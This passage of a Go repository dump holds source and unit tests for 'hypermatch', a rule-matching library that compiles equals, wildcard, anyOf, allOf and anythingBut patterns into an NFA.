m { 33 | match := matchAny(start, m) 34 | assert.Check(t, match != nil, "expected match '%s' with pattern '%v'", m, tt.pattern) 35 | start = match 36 | if start == fm { 37 | break 38 | } 39 | } 40 | assert.Check(t, fm == start, "expected match '%s' with pattern '%v'", m, tt.pattern) 41 | } 42 | 43 | for _, n := range tt.shouldNotMatch { 44 | start := sourceFm 45 | found := true 46 | for range n { 47 | match := matchAny(start, n) 48 | if match == nil { 49 | found = false 50 | break 51 | } 52 | start = match 53 | } 54 | assert.Check(t, !found || fm != start, "expected not to match '%s' with pattern '%v'", n, tt.pattern) 55 | } 56 | } 57 | } 58 | 59 | func matchAny(start *fieldMatcher, values []string) *fieldMatcher { 60 | for _, v := range values { 61 | fm := transitionNfa(start.GetTransition("test").Nfa, str2value(v, nil, nil), nil) 62 | if len(fm) > 0 { 63 | return fm[0] 64 | } 65 | } 66 | return nil 67 | } 68 | 69 | func TestValidatePatternAllOf_WithValue(t *testing.T) { 70 | err := validatePatternAllOf("test", &Pattern{ 71 | Type: PatternAllOf, 72 | Value: "invalid", 73 | Sub: []Pattern{ 74 | {Type: PatternEquals, Value: "value1"}, 75 | {Type: PatternEquals, Value: "value2"}, 76 | }, 77 | }) 78 | assert.ErrorContains(t, err, "'[allOf] must not contain a value") 79 | } 80 | func TestValidatePatternAllOf_NoSubPatterns(t *testing.T) { 81 | err := validatePatternAllOf("test", &Pattern{ 82 | Type: PatternAllOf, 83 | Sub: []Pattern{}, 84 | }) 85 | assert.ErrorContains(t, err, "[allOf] must contain sub-patterns") 86 | } 87 | 88 | func TestValidatePatternAllOf_NestedPatterns(t *testing.T) { 89 | err := validatePatternAllOf("test", &Pattern{ 90 | Type: PatternAllOf, 91 | Sub: []Pattern{ 92 | {Type: PatternEquals, Value: "value1"}, 93 | { 94 | Type: PatternAllOf, 95 | Sub: []Pattern{ 96 | {Type: PatternEquals, Value: "value2"}, 97 | {Type: PatternEquals, Value: "value3"}, 98 | }, 99 | }, 100 | {Type: PatternEquals, Value: "value4"}, 101 | }, 102 | }) 103 | assert.NilError(t, err) 104 | } 105 | -------------------------------------------------------------------------------- /pattern_anyof.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import "fmt" 4 | 5 | func validatePatternAnyOf(path string, pattern *Pattern) error { 6 | if len(pattern.Value) > 0 { 7 | return fmt.Errorf("[%s] must not contain a value", PatternAnyOf.String()) 8 | } 9 | if len(pattern.Sub) == 0 { 10 | return fmt.Errorf("[%s] must contain sub-patterns", PatternAnyOf.String()) 11 | } 12 | 13 | for _, p := range pattern.Sub { 14 | if err := validatePattern(path, &p); err != nil { 15 | return err 16 | } 17 | } 18 | 19 | return nil 20 | } 21 | 22 | func compilePatternAnyOf(id RuleIdentifier, path string, pattern *Pattern, sourceFm *fieldMatcher, exitFm *fieldMatcher) *fieldMatcher { 23 | if exitFm != nil && !exitFm.Exclusive { 24 | exitFm.Exclusive = true 25 | } 26 | for _, p := range pattern.Sub { 27 | exitFm = compilePattern(id, path, &p, sourceFm, exitFm) 28 | exitFm.Exclusive = true 29 | } 30 | 31 | return exitFm 32 | } 33 | -------------------------------------------------------------------------------- /pattern_anyof_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | func TestCompilePatternAnyOf(t *testing.T) { 9 | test := []compoundTestTable{ 10 | {pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{ 11 | {Type: PatternEquals, Value: "hallo"}, 12 | {Type: PatternEquals, Value: "welt"}, 13 | }}, shouldMatch: []string{"welt", "hallo"}, shouldNotMatch: []string{"was"}}, 14 | {pattern: Pattern{Type: PatternAnyOf, Sub: []Pattern{ 15 | {Type: PatternEquals, Value: "hallo"}, 16 | {Type: PatternWildcard, Value: "wel*"}, 17 | }}, shouldMatch: []string{"welt", "hallo", "weltttt"}, shouldNotMatch: []string{"was"}}, 18 | } 19 | 20 | for i, tt := range test { 21 | sourceFm := newFieldMatcher() 22 | fm := compilePatternAnyOf(RuleIdentifier(i), "test", &tt.pattern, sourceFm, nil) 23 | 24 | for _, m := range tt.shouldMatch { 25 | target := transitionNfa(sourceFm.GetTransition("test").Nfa, str2value(m, nil, nil), nil) 26 | assert.Check(t, len(target) > 0, "expected match '%s' with pattern '%v'", m, tt.pattern) 27 | assert.Check(t, fm == target[0], "expected match '%s' with pattern '%v'", m, tt.pattern) 28 | } 29 | 30 | for _, n := range tt.shouldNotMatch { 31 | target := transitionNfa(sourceFm.GetTransition("test").Nfa, str2value(n, nil, nil), nil) 32 | assert.Check(t, len(target) == 0, "expected not to match '%s' with pattern '%v'", n, tt.pattern) 33 | } 34 | } 35 | } 36 | 37 | func TestValidatePatternAnyOf_ErrorForValue(t *testing.T) { 38 | pattern := Pattern{ 39 | Type: PatternAnyOf, 40 | Value: "invalid", 41 | Sub: []Pattern{ 42 | {Type: PatternEquals, Value: "hallo"}, 43 | {Type: PatternEquals, Value: "welt"}, 44 | }, 45 | } 46 | 47 | err := validatePatternAnyOf("test", &pattern) 48 | assert.ErrorContains(t, err, "[anyOf] must not contain a value") 49 | } 50 | func TestValidatePatternAnyOf_ErrorForNoSubPatterns(t *testing.T) { 51 | pattern := Pattern{ 52 | Type: PatternAnyOf, 53 | Sub: []Pattern{}, 54 | } 55 | 56 | err := validatePatternAnyOf("test", &pattern) 57 | assert.ErrorContains(t, err, "[anyOf] must contain sub-patterns") 58 | } 59 | func TestValidatePatternAnyOf_CorrectlyValidatesSubPatterns(t *testing.T) { 60 | pattern := Pattern{ 61 | Type: PatternAnyOf, 62 | Sub: []Pattern{ 63 | {Type: PatternEquals, Value: "hallo"}, 64 | {Type: PatternEquals, Value: "welt"}, 65 | }, 66 | } 67 | 68 | err := validatePatternAnyOf("test", &pattern) 69 | assert.NilError(t, err) 70 | } 71 | -------------------------------------------------------------------------------- /pattern_anythingbut.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import "fmt" 4 | 5 | func validatePatternAnythingBut(path string, pattern *Pattern) error { 6 | if len(pattern.Value) == 0 && len(pattern.Sub) == 0 { 7 | return fmt.Errorf("[%s] must contain a value or sub-patterns", PatternAnythingBut.String()) 8 | } 9 | 10 | for _, p := range pattern.Sub { 11 | if err := validatePattern(path, &p); err != nil { 12 | return err 13 | } 14 | } 15 | 16 | return nil 17 | } 18 | 19 | func compilePatternAnythingBut(id RuleIdentifier, path string, pattern *Pattern, sourceFm *fieldMatcher, exitFm *fieldMatcher) *fieldMatcher { 20 | exitFm = compilePatternAnyOf(id, path, pattern, sourceFm, exitFm) 21 | exitFm.MatchingAnythingButRuleIdentifiers = append(exitFm.MatchingAnythingButRuleIdentifiers, id) 22 | 23 | fm := newFieldMatcher() 24 | sourceFm.AddAnythingButTransition(id, path, fm) 25 | return fm 26 | } 27 | -------------------------------------------------------------------------------- /pattern_anythingbut_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | type compoundTestTable struct { 9 | pattern Pattern 10 | shouldMatch []string 11 | shouldNotMatch []string 12 | } 13 | 14 | func TestCompilePatternAnythingBut(t *testing.T) { 15 | test := []compoundTestTable{ 16 | {pattern: Pattern{Type: PatternAnythingBut, Sub: []Pattern{{Type: PatternEquals, Value: "hallo"}}}, shouldMatch: []string{"welt"}, shouldNotMatch: []string{"hallo"}}, 17 | {pattern: Pattern{Type: PatternAnythingBut, Sub: []Pattern{{Type: PatternWildcard, Value: "ha*o"}}}, shouldMatch: []string{"welt"}, shouldNotMatch: []string{"hallo"}}, 18 | } 19 | 20 | for i, tt := range test { 21 | sourceFm := newFieldMatcher() 22 | compilePatternAnythingBut(RuleIdentifier(i), "test", &tt.pattern, sourceFm, nil) 23 | 24 | for _, m := range tt.shouldMatch { 25 | target := transitionNfa(sourceFm.GetTransition("test").Nfa, str2value(m, nil, nil), nil) 26 | assert.Check(t, len(target) == 0, "expected match '%s' with pattern '%v'", m, tt.pattern) 27 | } 28 | 29 | for _, n := range tt.shouldNotMatch { 30 | target := transitionNfa(sourceFm.GetTransition("test").Nfa, str2value(n, nil, nil), nil) 31 | assert.Check(t, len(target) > 0, "expected not to match '%s' with pattern '%v'", n, tt.pattern) 32 | _, ok := sourceFm.AnythingButTransitions["test"][target[0].MatchingAnythingButRuleIdentifiers[0]] 33 | assert.Check(t, ok, "expected not to match '%s' with pattern '%v'", n, tt.pattern) 34 | } 35 | } 36 | } 37 | 38 | func TestValidatePatternAnythingBut_EmptyValueAndSubPatterns(t *testing.T) { 39 | path := "testPath" 40 | pattern := &Pattern{Type: PatternAnythingBut} 41 | 42 | err := validatePatternAnythingBut(path, pattern) 43 | assert.ErrorContains(t, err, "[anythingBut] must contain a value or sub-patterns") 44 | } 45 | 46 | func TestValidatePatternAnythingBut_WithValueAndEmptySubPatterns(t *testing.T) { 47 | path := "testPath" 48 | pattern := &Pattern{Type: PatternAnythingBut, Value: "testValue"} 49 | 50 | err := validatePatternAnythingBut(path, pattern) 51 | assert.NilError(t, err) 52 | } 53 | 54 | func TestValidatePatternAnythingBut_EmptyValueAndNonEmptySubPatterns(t *testing.T) { 55 | path := "testPath" 56 | pattern := &Pattern{Type: PatternAnythingBut, Sub: []Pattern{ 57 | {Type: PatternEquals, Value: "testValue"}, 58 | }} 59 | 60 | err := validatePatternAnythingBut(path, pattern) 61 | assert.NilError(t, err) 62 | } 63 | -------------------------------------------------------------------------------- /pattern_compiler.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "log" 5 | "strings" 6 | ) 7 | 8 | func compileCondition(fm *fieldMatcher, id RuleIdentifier, cond *Condition) *fieldMatcher { 9 | if cond == nil || len(cond.Path) == 0 { 10 | return fm 11 | } 12 | 13 | return compilePattern(id, cond.Path, &cond.Pattern, fm, nil) 14 | } 15 | 16 | func str2value(input string, prefix []byte, suffix []byte) []byte { 17 | i := []byte(strings.ToLower(input)) 18 | r := make([]byte, 0, len(prefix)+len(i)+len(suffix)+1) 19 | r = append(r, prefix...) 20 | r = append(r, i...) 21 | r = append(r, suffix...) 22 | r = append(r, byteValueTerminator) 23 | return r 24 | } 25 | 26 | func charReplace(data []byte, search byte, replace byte) []byte { 27 | for i := 0; i < len(data); i++ { 28 | if data[i] == search { 29 | data[i] = replace 30 | } 31 | } 32 | return data 33 | } 34 | 35 | func compilePattern(id RuleIdentifier, path string, pattern *Pattern, sourceFm *fieldMatcher, exitFm *fieldMatcher) *fieldMatcher { 36 | if pattern == nil || len(path) == 0 { 37 | return sourceFm 38 | } 39 | 40 | switch pattern.Type { 41 | case PatternEquals: 42 | return compilePatternEquals(sourceFm.GetTransition(path).Nfa, str2value(pattern.Value, nil, nil), exitFm) 43 | case PatternPrefix: 44 | return compilePatternWildcard(sourceFm.GetTransition(path).Nfa, str2value(pattern.Value, nil, []byte{byteWildcard}), exitFm) 45 | case PatternSuffix: 46 | return compilePatternWildcard(sourceFm.GetTransition(path).Nfa, str2value(pattern.Value, []byte{byteWildcard}, nil), exitFm) 47 | case PatternWildcard: 48 | return compilePatternWildcard(sourceFm.GetTransition(path).Nfa, charReplace(str2value(pattern.Value, nil, nil), charWildcard, byteWildcard), exitFm) 49 | case PatternAnythingBut: 50 | return compilePatternAnythingBut(id, path, pattern, sourceFm, exitFm) 51 | case PatternAnyOf: 52 | return compilePatternAnyOf(id, path, pattern, sourceFm, exitFm) 53 | case PatternAllOf: 54 | return compilePatternAllOf(id, path, pattern, sourceFm, exitFm) 55 | default: 56 | log.Printf("HyperMatch: unknown pattern type '%d', skipping!", pattern.Type) 57 | } 58 | 59 | return sourceFm 60 | } 61 | -------------------------------------------------------------------------------- /pattern_equals.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import "fmt" 4 | 5 | func validatePatternEquals(pattern *Pattern) error { 6 | if len(pattern.Value) == 0 { 7 | return fmt.Errorf("[%s] must contain a value", PatternEquals.String()) 8 | } 9 | if len(pattern.Sub) > 0 { 10 | return fmt.Errorf("[%s] must not contain sub-patterns", PatternEquals.String()) 11 | } 12 | return nil 13 | } 14 | 15 | func compilePatternEquals(start *nfaStep, value []byte, exitFm *fieldMatcher) *fieldMatcher { 16 | step := start 17 | for _, char := range value { 18 | step = step.MakeStep(char) 19 | } 20 | 21 | return step.addOrReuseOrCreateFieldTransition(exitFm) 22 | } 23 | -------------------------------------------------------------------------------- /pattern_equals_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | func TestCompilePatternEquals(t *testing.T) { 9 | test := []testTable{ 10 | {input: "hallo", shouldMatch: []string{"hallo"}, shouldNotMatch: []string{"", "halloo", "halo"}}, 11 | {input: "welt", shouldMatch: []string{"welt"}, shouldNotMatch: []string{"", "weltt"}}, 12 | } 13 | 14 | for _, tt := range test { 15 | start := newNfaStep() 16 | fm := compilePatternEquals(start, str2value(tt.input, nil, nil), nil) 17 | 18 | for _, m := range tt.shouldMatch { 19 | target := transitionNfa(start, str2value(m, nil, nil), nil) 20 | assert.Check(t, len(target) > 0, "expected match '%s' with pattern '%s'", m, tt.input) 21 | assert.Check(t, fm == target[0], "expected match '%s' with pattern '%s'", m, tt.input) 22 | } 23 | 24 | for _, n := range tt.shouldNotMatch { 25 | target := transitionNfa(start, str2value(n, nil, nil), nil) 26 | assert.Check(t, len(target) == 0, "expected not to match '%s' with pattern '%s'", n, tt.input) 27 | } 28 | } 29 | } 30 | func TestValidatePatternEquals_EmptyValue(t *testing.T) { 31 | pattern := &Pattern{ 32 | Type: PatternEquals, 33 | } 34 | 35 | err := validatePatternEquals(pattern) 36 | assert.ErrorContains(t, err, "[equals] must contain a value") 37 | } 38 | 39 | func TestValidatePatternEquals_SubPatterns(t *testing.T) { 40 | pattern := &Pattern{ 41 | Type: PatternEquals, 42 | Sub: []Pattern{ 43 | {Type: PatternEquals, Value: "subpattern"}, 44 | }, 45 | } 46 | 47 | err := validatePatternEquals(pattern) 48 | assert.ErrorContains(t, err, "[equals] must contain a value") 49 | } 50 | -------------------------------------------------------------------------------- /pattern_validate.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func validateCondition(cond *Condition) error { 8 | if cond == nil || len(cond.Path) == 0 { 9 | return nil 10 | } 11 | 12 | return validatePattern(cond.Path, &cond.Pattern) 13 | } 14 | 15 | func validatePattern(path string, pattern *Pattern) error { 16 | if pattern == nil || len(path) == 0 { 17 | return nil 18 | } 19 | 20 | switch pattern.Type { 21 | case PatternEquals: 22 | return validatePatternEquals(pattern) 23 | case PatternPrefix: 24 | return validatePatternWildcard(pattern) 25 | case PatternSuffix: 26 | return validatePatternWildcard(pattern) 27 | case PatternWildcard: 28 | return validatePatternWildcard(pattern) 29 | case PatternAnythingBut: 30 | return validatePatternAnythingBut(path, pattern) 31 | case PatternAnyOf: 32 | return validatePatternAnyOf(path, pattern) 33 | case PatternAllOf: 34 | return validatePatternAllOf(path, pattern) 35 | default: 36 | return fmt.Errorf("unknown pattern type '%d'", pattern.Type) 37 | } 38 | 39 | } 40 | -------------------------------------------------------------------------------- /pattern_wildcard.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | func validatePatternWildcard(pattern *Pattern) error { 9 | if len(pattern.Value) == 0 { 10 | return fmt.Errorf("[%s] must contain a value", PatternWildcard.String()) 11 | } 12 | if len(pattern.Sub) > 0 { 13 | return fmt.Errorf("[%s] must not contain sub-patterns", PatternWildcard.String()) 14 | } 15 | 16 | if strings.Contains(pattern.Value, "**") { 17 | return fmt.Errorf("[%s] must not contain two consecutive wildcards", PatternWildcard.String()) 18 | } 19 | 20 | return nil 21 | } 22 | 23 | func compilePatternWildcard(start *nfaStep, value []byte, exitFm *fieldMatcher) *fieldMatcher { 24 | step := start 25 | var lastWildcardStep *nfaStep 26 | for i, char := range value { 27 | if char == byteWildcard { 28 | if (i == len(value)-2 && value[len(value)-1] == byteValueTerminator) || i == len(value)-1 { 29 | // wildcard is the last character before value terminator 30 | return step.addOrReuseOrCreateFieldTransition(exitFm) 31 | } else { 32 | lastWildcardStep = step 33 | step = step.MakeStep(byteWildcard) 34 | step.ValueTransitions[byteWildcard] = step 35 | } 36 | } else { 37 | step = step.MakeStep(char) 38 | if lastWildcardStep != nil { 39 | lastWildcardStep.ValueTransitions[char] = step 40 | lastWildcardStep = nil 41 | } 42 | } 43 | } 44 | 45 | return step.addOrReuseOrCreateFieldTransition(exitFm) 46 | } 47 | -------------------------------------------------------------------------------- /pattern_wildcard_test.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | import ( 4 | "gotest.tools/v3/assert" 5 | "testing" 6 | ) 7 | 8 | type testTable struct { 9 | input string 10 | shouldMatch []string 11 | shouldNotMatch []string 12 | } 13 | 14 | func TestCompilePatternWildcard(t *testing.T) { 15 | test := []testTable{ 16 | {input: "ha*o", shouldMatch: []string{"hao", "halo", "hallo", "haweltlo"}, shouldNotMatch: []string{"", "welt", "hoa", "haa"}}, 17 | {input: "wel*", shouldMatch: []string{"wel", "welt", "weltttttttt"}, shouldNotMatch: []string{"", "hallo", "walt", "wet"}}, 18 | {input: "*elt", shouldMatch: []string{"welt", "elt", "weltttttttelt"}, shouldNotMatch: []string{"", "wel", "walt", "wet"}}, 19 | {input: "*", shouldMatch: []string{"anything", ""}, shouldNotMatch: []string{}}, 20 | {input: "*-mon-*", shouldMatch: []string{"s1-mon-test", "s1-mon-mon-mon-test"}, shouldNotMatch: []string{"se1-monn-test"}}, 21 | } 22 | 23 | for _, tt := range test { 24 | start := newNfaStep() 25 | fm := compilePatternWildcard(start, charReplace(str2value(tt.input, nil, nil), charWildcard, byteWildcard), nil) 26 | 27 | for _, m := range tt.shouldMatch { 28 | target := transitionNfa(start, str2value(m, nil, nil), nil) 29 | assert.Check(t, len(target) > 0, "expected match '%s' with pattern '%s'", m, tt.input) 30 | assert.Check(t, fm == target[0], "expected match '%s' with pattern '%s'", m, tt.input) 31 | } 32 | 33 | for _, n := range tt.shouldNotMatch { 34 | target := transitionNfa(start, str2value(n, nil, nil), nil) 35 | assert.Check(t, len(target) == 0, "expected not to match '%s' with pattern '%s'", n, tt.input) 36 | } 37 | } 38 | } 39 | 40 | func TestValidatePatternWildcard_EmptyValue(t *testing.T) { 41 | pattern := &Pattern{ 42 | Type: PatternWildcard, 43 | } 44 | err := validatePatternWildcard(pattern) 45 | assert.ErrorContains(t, err, "[wildcard] must contain a value") 46 | } 47 | 48 | func TestValidatePatternWildcard_SubPatterns(t *testing.T) { 49 | pattern := &Pattern{ 50 | Type: PatternWildcard, 51 | Sub: []Pattern{ 52 | {Type: PatternEquals, Value: "test"}, 53 | }, 54 | } 55 | err := validatePatternWildcard(pattern) 56 | assert.ErrorContains(t, err, "[wildcard] must contain a value") 57 | } 58 | 59 | func TestValidatePatternWildcard_SubPatterns2(t *testing.T) { 60 | pattern := &Pattern{ 61 | Type: PatternWildcard, 62 | Value: "invalid", 63 | Sub: []Pattern{ 64 | {Type: PatternEquals, Value: "test"}, 65 | }, 66 | } 67 | err := validatePatternWildcard(pattern) 68 | assert.ErrorContains(t, err, "[wildcard] must not contain sub-patterns") 69 | } 70 | 71 | func TestValidatePatternWildcard_TwoConsecutiveWildcards(t *testing.T) { 72 | pattern := &Pattern{ 73 | Type: PatternWildcard, 74 | Value: "**test", 75 | } 76 | err := validatePatternWildcard(pattern) 77 | assert.ErrorContains(t, err, "[wildcard] must not contain two consecutive wildcards") 78 | } 79 | -------------------------------------------------------------------------------- /value_matcher.go: -------------------------------------------------------------------------------- 1 | package hypermatch 2 | 3 | type valueMatcher struct { 4 | Nfa *nfaStep `json:"s,omitempty"` 5 | // Maybe shortcuts here in the future 6 | } 7 | 8 | func newValueMatcher() *valueMatcher { 9 | return &valueMatcher{Nfa: newNfaStep()} 10 | } 11 | 12 | func (v *valueMatcher) Transition(value []byte) []*fieldMatcher { 13 | return transitionNfa(v.Nfa, value, nil) 14 | } 15 | --------------------------------------------------------------------------------